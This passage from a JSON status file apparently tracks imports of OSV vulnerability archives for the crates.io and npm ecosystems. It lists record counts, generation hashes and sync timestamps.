counts","generation":"crates.io-94169eec81ea3989aa551092397ff34ae53c104b4a6ce646e1524452e4ab2a39","complete":true,"records":3065,"lastAttemptAt":"2026-11-10T10:21:23.1397622+00:00","lastSuccessAt":"2026-11-10T08:04:45.5923716+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:23.1397622+00:00","snapshotPublishedAt":"2026-11-10T06:48:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-4331051b0b2d4ccdbdca3aa196b0be3818a465064a4b18dde4cf39c2250eb490","complete":true,"records":231599,"lastAttemptAt":"2026-11-10T10:21:23.0142877+00:00","lastSuccessAt":"2026-11-10T08:04:37.1757322+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:23.0142877+00:00","snapshotPublishedAt":"2026-11-10T07:33:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}